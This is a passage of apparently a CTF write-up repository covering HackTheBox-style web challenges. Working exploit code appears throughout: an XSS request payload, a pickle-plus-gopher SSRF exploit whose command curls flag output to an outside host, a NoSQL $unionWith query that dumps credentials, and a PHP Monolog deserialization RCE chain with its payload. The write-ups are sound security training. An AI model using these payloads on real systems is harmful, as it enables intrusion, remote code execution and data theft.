text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 227 | 228 | Accept-Encoding: gzip, deflate 229 | 230 | Accept-Language: en-US,en;q=0.9 231 | 232 | Connection: close 233 | 234 | 235 | 236 | hostname=%3cscript%20src%3d%22%2fuploads%2f0497c55d-b77b-4274-b385-53638f0d5e37%22%3e%3c%2fscript%3e&platform=linux&arch=x86 237 | ``` 238 | 239 | The name of the file is returned from the request that uploads the file. 240 | 241 | Now in a minute our extractor will be pinged with the flag :) 242 | -------------------------------------------------------------------------------- /web/trap_track/README.md: -------------------------------------------------------------------------------- 1 | # Trap Track (hard) 2 | In this challenge we will use SSRF and unsafe deserialization in python to get the flag. 3 | 4 | This time the login page is easily bypassed, since we know from `config.py` that admin username and password is the same. 5 | 6 | Once we are logged in we can see that list of websites, healthcheck and the status. 7 | We can add websites, then they are going go to a queue of some sort, then be checked and then finally the job is considered completed. 8 | 9 | Let's inspect how this works in the source code: 10 | ```python 11 | # blueprints/routes.py:59 12 | data = request.get_json() 13 | 14 | trapName = data.get('trapName', '') 15 | trapURL = data.get('trapURL', '') 16 | 17 | if not trapName or not trapURL: 18 | return response('Missing required parameters!', 401) 19 | 20 | async_job = create_job_queue(trapName, trapURL) 21 | 22 | track = TrapTracks(trap_name=trapName, trap_url=trapURL, track_cron_id=async_job['job_id']) 23 | 24 | db.session.add(track) 25 | db.session.commit() 26 | 27 | return response('Trap Track added successfully!', 200) 28 | ``` 29 | 30 | First a *job queue* is created, and then the track is added to a database. 31 | 32 | ```python 33 | # cache.py:22 34 | def create_job_queue(trapName, trapURL): 35 | job_id = get_job_id() 36 | 37 | data = { 38 | 'job_id': int(job_id), 39 | 'trap_name': trapName, 40 | 'trap_url': trapURL, 41 | 'completed': 0, 42 | 'inprogress': 0, 43 | 'health': 0 44 | } 45 | 46 | current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data))) 47 | 48 | current_app.redis.rpush(env('REDIS_QUEUE'), job_id) 49 | 50 | return data 51 | ``` 52 | 53 | It seems like the job gets added to to `REDIS_JOBS` and then the job id gets pushed to the queue. 54 | Okay here we see something interesting, the data is serialized with `pickle` and then `base64` encoded. 55 | A bit below in the same file we see something even more exciting: 56 | 57 | ```python 58 | def get_job_queue(job_id): 59 | data = current_app.redis.hget(env('REDIS_JOBS'), job_id) 60 | if data: 61 | return pickle.loads(base64.b64decode(data)) 62 | 63 | return None 64 | ``` 65 | 66 | The data from the job, just gets loaded, `base64` decoded and then `pickle` deserialized. 67 | Awesome if we could only control what is that data of this job, then we could exploit this deserialization bug to get RCE, and then get the flag! 68 | 69 | Going through official means of adding a job, seem to add useless attributes that we do not want. We need to find a way to add jobs without this restriction. 70 | 71 | But so far we haven't even looked what a job is, or how it gets executed! 72 | 73 | For this we have to go outside the `application` folder and look into the `worker` folder. 74 | 75 | ```python 76 | # main.py:43 77 | def run_worker(): 78 | job = get_work_item() 79 | if not job: 80 | return 81 | 82 | incr_field(job, 'inprogress') 83 | 84 | trapURL = job['trap_url'] 85 | 86 | response = request(trapURL) 87 | 88 | set_field(job, 'health', 1 if response else 0) 89 | 90 | incr_field(job, 'completed') 91 | decr_field(job, 'inprogress') 92 | ``` 93 | 94 | Okay, we get the jobs from the redis queue, then modify some state, let's look into this `request` function! 95 | 96 | ```python 97 | # healthcheck.py 98 | import pycurl 99 | 100 | def request(url): 101 | response = False 102 | try: 103 | c = pycurl.Curl() 104 | c.setopt(c.URL, url) 105 | c.setopt(c.TIMEOUT, 5) 106 | c.setopt(c.VERBOSE, True) 107 | c.setopt(c.FOLLOWLOCATION, True) 108 | 109 | response = c.perform_rb().decode('utf-8', errors='ignore') 110 | c.close() 111 | finally: 112 | return response 113 | ``` 114 | 115 | We send a request using curl to the url that is specified in the job. 116 | But we have control over this URL, right? And here is the SSRF vuln. 117 | 118 | Now we can use this vuln in order to communicate with the redis backend. 119 | How this exactly happens took some research to figure out, however I stumbled upon this [article](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis) 120 | 121 | Using the *gopher* protocol in curl makes it easy to send commands to the redis backend. 122 | 123 | Now all that is left to do is to craft the pickle exploit and the proper URL which when loaded by curl will trigger the redis command. 124 | 125 | This is done by `exploit.py`, whichr returns an URL we can use when adding a new job. 126 | 127 | The exploit will create a job with ID 1337. 128 | However we are not fully done yet, we still need to force the deserialization, which we can do by requesting the `/tracks/1337/status` endpoint. 129 | 130 | ```python 131 | # blueprints/routes.py 132 | @api.route('/tracks//status', methods=['GET']) 133 | @login_required 134 | def job_status(job_id): 135 | data = get_job_queue(job_id) 136 | 137 | if not data: 138 | return response('Job does not exist!', 401) 139 | 140 | return Response(json.dumps(data), mimetype='application/json') 141 | ``` 142 | 143 | This will call `get_job_queue` which we alread know deserializes the job data. 144 | -------------------------------------------------------------------------------- /web/trap_track/exploit.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import pickle 3 | import os 4 | from urllib.parse import quote 5 | 6 | class RCE: 7 | def __reduce__(self): 8 | cmd = ('curl http:///asd -H"Test: $(/readflag)"') 9 | return os.system, (cmd,) 10 | 11 | pickle_exploit = pickle.dumps(RCE()) 12 | exploit_enc = base64.b64encode(pickle_exploit).decode("utf-8") 13 | redis_command = f'HSET jobs 1337 "{exploit_enc}"' 14 | 15 | path2 = quote(f'{redis_command}') 16 | http_request_url = f'gopher://127.0.0.1:6379/_{path2}' 17 | 18 | print(http_request_url) 19 | -------------------------------------------------------------------------------- /web/trapped_source.md: -------------------------------------------------------------------------------- 1 | # Trapped Source (very easy) 2 | This challenge will test if we can inspect source code of web pages. 3 | 4 | Upon loading the website, we can inspect the source and find the following inline javascript: 5 | ```javascript 6 | window.CONFIG = window.CONFIG || { 7 | buildNumber: "v20190816", 8 | debug: false, 9 | modelName: "Valencia", 10 | correctPin: "8291", 11 | } 12 | ``` 13 | 14 | Entering the correct pin on the keypad will give us the flag 15 | -------------------------------------------------------------------------------- /web/unearthly_shop/README.md: -------------------------------------------------------------------------------- 1 | # UnEartly Shop (hard) 2 | In this challenge we will exploit NoSQL inejction and php deserialization to get the flag. 3 | 4 | First we are greeted with a list of products, and we can put them on the wishlist (offline) and place and order on them. 5 | Here note that listing the products is a POST request oddly enough instead of a get. 6 | 7 | I check the request and I see that some JSON is being passed that looks like a mongodb query. 8 | I check the mongodb [documentation](https://www.mongodb.com/docs/manual/reference/operator/aggregation/unionWith/#mongodb-pipeline-pipe.-unionWith) to find out what options we have and I find the `unionWith` option. 9 | 10 | Now checking the `entrypoint.sh` file we know what collections there are, so we can simply send the following request to the products endpoint: 11 | ```json 12 | [ 13 | { 14 | "$unionWith": "users" 15 | } 16 | ] 17 | ``` 18 | 19 | The response will contain the username and password of all users, which is only the admin in our case. 20 | In the response I also spotted the `access` field, which seems to be a PHP serialized array. 21 | 22 | Now we can login with the admin users and see what it can do. 23 | Most of the functionality seems fake, however we can use the edit user feature, to change the password of a user. 24 | 25 | Now let's take a look at what happens when the user password is upadted: 26 | ```json 27 | { 28 | "_id": 1, 29 | "password": "password", 30 | "username": "admin" 31 | } 32 | ``` 33 | 34 | Let's try and see if we can somehow abuse this request again to our advantage. 35 | 36 | ```php 37 | // backend/controllers/UserController.php 38 | public function update($router) 39 | { 40 | $json = file_get_contents('php://input'); 41 | $data = json_decode($json, true); 42 | 43 | if (!$data['_id'] || !$data['username'] || !$data['password']) 44 | { 45 | $router->jsonify(['message' => 'Insufficient parameters!'], 400); 46 | } 47 | 48 | if ($this->user->updateUser($data)) { 49 | $router->jsonify(['message' => 'User updated successfully!']); 50 | } 51 | 52 | $router->jsonify(['message' => 'Something went wrong!', 'status' => 'danger'], 500); 53 | } 54 | ``` 55 | 56 | Here we see that it verifies that the `id`, `username` and `password` fields are in the request and then updates the user data. 57 | 58 | ```php 59 | // backend/models/UserModel.php 60 | public function updateUser($data) 61 | { 62 | return $this->database->update('users', $data['_id'], $data); 63 | } 64 | ``` 65 | 66 | Here is the code that triggers the database update, we see it just passes the collection name the idea and **all data** 67 | 68 | ```php 69 | // backend/Database.php 70 | public function update($collection, $index, $data) 71 | { 72 | $collection = $this->db->$collection; 73 | 74 | $updateResult = $collection->updateOne( 75 | [ '_id' => intval($index) ], 76 | [ '$set' => $data ] 77 | ); 78 | 79 | if ($updateResult->getMatchedCount()) { 80 | return true; 81 | } 82 | 83 | return false; 84 | } 85 | ``` 86 | 87 | And here is the function that update the database itself. 88 | We see that the only way this fails is if the ID is not matched to an existing object, however all the data is directly passed to the `$set` option. 89 | 90 | Even though the website doesn't let us, we can still perform a request to update the `access` field of the user. 91 | This is cool, since we have already seen that it is potentially a PHP serialized array, so we might have found an unsafe deserialization bug! 92 | 93 | ```php 94 | // models/UserModel.php 95 | public function __construct() 96 | { 97 | parent::__construct(); 98 | $this->username = $_SESSION['username'] ?? ''; 99 | $this->email = $_SESSION['email'] ?? ''; 100 | $this->access = unserialize($_SESSION['access'] ?? ''); 101 | var_dump($this->access); 102 | } 103 | ``` 104 | 105 | And indeed each time a `UserModel` class is instantiated we see that the `access` field is read from the session and then deserialized. 106 | 107 | ```php 108 | // controlles/AuthController.php 109 | public function login($router) 110 | { 111 | $username = $_POST['username']; 112 | $password = $_POST['password']; 113 | 114 | if (empty($username) || empty($password)) { 115 | $router->jsonify(['message' => 'Insufficient parameters!', 'status' => 'danger'], 400); 116 | } 117 | 118 | $login = $this->user->login($username, $password); 119 | 120 | if (empty($login)) { 121 | $router->jsonify(['message' => 'Wrong username or password!', 'status' => 'danger'], 400); 122 | } 123 | 124 | $_SESSION['username'] = $login->username; 125 | $_SESSION['access'] = $login->access; 126 | 127 | $router->jsonify(['message' => 'Login was successful!', 'status' => 'success']); 128 | } 129 | ``` 130 | 131 | And here we see that upon user login, the `access` field is fetched from the database, and then it is stored in the session. 132 | 133 | Ok great! Now to find the PHP deserialization -> RCE... 134 | 135 | Yeah this took quite long to find. In general PHP deserialization is not as insecure as some of the others we had during this contest. 136 | 137 | To get RCE there needs to be some classes which have specific magic functions (`__wakeup`, `__destruct`, etc..), and on top of that the magic functions need to interact with some fields of the object that we control and somehow allow for code execution with `eval` or `system` for example. 138 | 139 | I looked for these magic functions, however there aren't many and the few we have sets fields to `null`, or returns an element of an array as a string, not very RCE. 140 | 141 | Upon looking more into PHP deserialization resources, I have found the [phpggc](https://github.com/ambionics/phpggc) project, which contains payloads using a more advanced technique: **POP chaining**, which I like to think of as the ROP chains of PHP deserialization. 142 | 143 | The exploits on here contain chains that exist in specific php libraries/frameworks. 144 | However none of the ones listed in the project appear inside of the **backend** `vendor` folder. 145 | 146 | So are we stuck? 147 | 148 | Not really, let's try harder. 149 | 150 | Let's look into the `vendor` folder in the **frontend** part of the app. 151 | Here we see a dependency that could be interesting: **monolog** 152 | 153 | The `phpggc` project lists several chains for the dependency and many of them grant us RCE even! 154 | Further more we know that **monolog** is pulled as a dependency for `maxbanton/cwh` from the `composer.json` file. 155 | 156 | Upon checking the [package page](https://packagist.org/packages/maxbanton/cwh) we see that monolog 2.x is pulled, so this limits the chains we can use from `phpggc` but still we have some RCE ones. 157 | 158 | Now to address the elephant in the room: the frontend contains no `unserialize` statement, so how are we going to to use our chain from `phpggc` if our deserialization takes place in the **backend** code? 159 | 160 | So again, are we stuck? 161 | 162 | Still not, keep looking a bit more! 163 | Look no further than the `index.php` file in the backend code: 164 | 165 | ```php 166 | require __DIR__ . "/vendor/autoload.php"; 167 | 168 | spl_autoload_register(function ($name) { 169 | if (preg_match('/Controller$/', $name)) { 170 | $name = "controllers/${name}"; 171 | } elseif (preg_match('/Model$/', $name)) { 172 | $name = "models/${name}"; 173 | } elseif (preg_match('/_/', $name)) { 174 | $name = preg_replace('/_/', '/', $name); 175 | } 176 | 177 | $filename = "/${name}.php"; 178 | 179 | if (file_exists($filename)) { 180 | require $filename; 181 | } 182 | elseif (file_exists(__DIR__ . $filename)) { 183 | require __DIR__ . $filename; 184 | } 185 | }); 186 | ``` 187 | 188 | Interesting... this functions seems to suffer from an LFI vulnerability, however we do have a restriction for `.php` files. 189 | 190 | But how do we call this function at all? 191 | Turns out this function is using the *autoload* mechanism, let's read the [docs](https://www.php.net/manual/en/function.spl-autoload-register.php) of this function. 192 | 193 | Okay, so this function replaced the deprecated `__autoload` function, which 194 | > Attempt to load undefined class 195 | 196 | Great! this is exactly what we want, we have some classes we want to refer to from the frontend, and we want them to be loaded, so we can execute the POP chain that `phpggc` gives us! 197 | 198 | However this does not automatically work, since just refering to the classes like the generated payload does, will try to look for them inside the `backend` code still. 199 | 200 | We need to manually try and unserialize object that will cause the classes to be loaded from the frontend code. 201 | 202 | Let's take a closer look at how the autoloading function works here 203 | * If the class name ends in `Controller` we look inside the controllers folder for a php file with the same name as the class 204 | * If the class name ends in `Model` we look inside the models folder for a php file with the same name as the class 205 | * If the class name contains `_`, we replace all underscores with `/` instead 206 | * We append `/` to the start and `.php` to the end of the parsed name 207 | * Check if the file exists as an absolute path and load it if yes 208 | * Check if the file exists relative to current folder and load it if yes 209 | 210 | So by providing `_` instead of `/` we can load arbitrary php file from anywhere on the system. 211 | 212 | Let's use this to load all the php files that give us the classes the the `phpggc` chain will use: 213 | * `GroupHandler` 214 | * `FingersCrossedHandler` 215 | 216 | For my chosen exploit generated by 217 | ```shell 218 | ➜ web_unearthly_shop ./phpggc Monolog/RCE5 system "/readflag" > ./payload 219 | ``` 220 | 221 | For example an object with name `www_frontend_vendor_monolog_monolog_src_Monolog_Handler_GroupHandler` will load the `GroupHandler` class from the frontend vendor folder. 222 | 223 | After this the class can be referred to as usual with `Monolog\Handler\GroupHandler`. 224 | 225 | Keep in mind however that these classes have their own dependencies, that are not loaded into the current context, and will be loaded using the same function. We need to include these in advance, otherwise the exploit will fail! 226 | 227 | Let's go over the plan one more time: 228 | 1. Login as admin using the NoSQL injection vuln 229 | 2. Change the access field of the admin to our malicious serialized payload 230 | 3. Login again as admin to trigger the deserialization 231 | 232 | Our serialized exploit will look as follows: 233 | * It will be an array of objects. 234 | * The last element will be exactly the payload generated by `phpggc` 235 | * The elements before will be objects that load dependencies from the **frontend** folder 236 | - these classes will specify absolute paths to php files 237 | - these will need to include all transitive dependencies, not just direct ones of the `phpggc` chain 238 | * Some care needs to be taken to properly send this exploit over JSON 239 | - escape backslash 240 | - escape quotes 241 | - `\u0000` escape for null bytes, yes, the generated exploit contains null bytes 242 | 243 | The full details can be seen in the `exploit.py` file, that construct the serialized string and encodes it properly for JSON transportation. 244 | 245 | Now we just send this as the `access` variable to the endpoint that can update the user password. 246 | 247 | After this logout, then login as admin, and see the flag :) 248 | -------------------------------------------------------------------------------- /web/unearthly_shop/exploit.py: -------------------------------------------------------------------------------- 1 | import base64 2 | reqs = [ 3 | 'Handler_HandlerInterface', 4 | 'Handler_Handler', 5 | 'Handler_ProcessableHandlerInterface', 6 | 'ResettableInterface', 7 | 'Handler_FormattableHandlerInterface', 8 | 'Handler_ProcessableHandlerTrait', 9 | 'Handler_GroupHandler', 10 | 'Handler_FingersCrossedHandler', 11 | ] 12 | 13 | payload = open('./payload', 'rb').read().strip() 14 | 15 | base = 'www_frontend_vendor_monolog_monolog_src_Monolog_' 16 | # i:0;O:72:"www_frontend_vendor_monolog_monolog_src_Monolog_Handler_HandlerInterface":0:{} 17 | def gen_reqs(): 18 | parts = [] 19 | for i,v in enumerate(reqs): 20 | pth = f'{base}{v}' 21 | parts.append(f'i:{i};O:{len(pth)}:"{pth}":0:{{}}'.encode('utf-8')) 22 | 23 | parts.append(f'i:{len(reqs)};'.encode('utf-8') + payload) 24 | joined = b''.join(parts) 25 | return f'a:{len(parts)}:{{'.encode('utf-8') + joined + b'}' 26 | 27 | def make_json_compat(inp): 28 | return b'"' + inp.replace(b'\\', b'\\\\').replace(b'\x00', b'\\u0000').replace(b'"', b'\\"') + b'"' 29 | 30 | print(base64.b64encode(gen_reqs()).decode('utf-8')) 31 | print() 32 | print(gen_reqs()) 33 | print() 34 | print(make_json_compat(gen_reqs()).decode('utf-8')) 35 | -------------------------------------------------------------------------------- /web/unearthly_shop/payload: -------------------------------------------------------------------------------- 1 | O:37:"Monolog\Handler\FingersCrossedHandler":3:{s:16:"*passthruLevel";i:0;s:9:"*buffer";a:1:{s:4:"test";a:2:{i:0;s:9:"/readflag";s:5:"level";N;}}s:10:"*handler";O:28:"Monolog\Handler\GroupHandler":1:{s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}} 2 | --------------------------------------------------------------------------------